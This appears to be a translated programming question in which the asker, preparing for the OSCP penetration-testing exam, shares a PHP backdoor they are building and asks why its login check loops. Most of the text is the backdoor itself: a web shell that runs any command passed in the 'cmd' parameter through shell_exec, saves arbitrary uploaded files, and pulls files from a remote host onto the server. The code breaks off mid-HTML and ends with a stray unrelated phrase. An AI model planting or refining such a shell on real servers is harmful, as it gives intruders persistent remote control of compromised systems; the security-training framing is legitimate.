我有一个 PHP 脚本,我正在开发它作为后门,在渗透测试中上传到受感染的服务器/应用程序 - 作为 PWK/OSCP 的一部分。因此使用了不安全的功能。
我正在尝试实施一些基本的身份验证,以确保只有授权用户才能找到并使用后门。
我遇到的问题是,一旦用户登录,当执行命令或上传时,脚本会返回到login()函数中,而不是呈现例如ls或任何其他系统命令的结果。
我尝试displayForm()从内部调用,但出现内存异常。
如何更改现有脚本,以便显示命令输出并为后续命令准备好表单?
出于此调试的目的,user:password 已设置为 1:1,因为脚本不允许使用空白密码。
我不熟悉 PHP,所以请原谅任何明显写得不好的代码!
<?php
$_SESSION['valid'] = false;
login();
function displayForm() {
if (!$_SESSION['valid']) {
login();
}
$output = ""; # Leave this blank
$host = "127.0.0.1"; # host to fetch files from if not a local upload
$port = "9001";
if (isset($_FILES['fileToUpload'])) {
$output = "";
$fileName = basename($_FILES["fileToUpload"]["name"]);
$file_tmp =$_FILES['fileToUpload']['tmp_name'];
move_uploaded_file($file_tmp, $fileName);
}
if (isset($_POST['remoteFile'])) {
$output = "";
file_put_contents($_POST['remoteFile'], file_get_contents("http://$host:$port/" . $_POST['remoteFile']));
}
if (isset($_GET['cmd'])) {
$output .= "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
echo <<<HTML
<html>
<body>
<form action="" method="POST" enctype="multipart/form-data">
<input type="hidden" name="MAX_FILE_SIZE" value="1000000">
<p> Local Upload: <input type="file" name="fileToUpload">
<input type="submit" name="upload">
</form>
<br>
<form action="" method="POST" enctype="multipart/form-data">
<p> Fetch From Remote: <input type="text" name="remoteFile">
<input type="submit" name="fetch">
</form>
<br>
森林海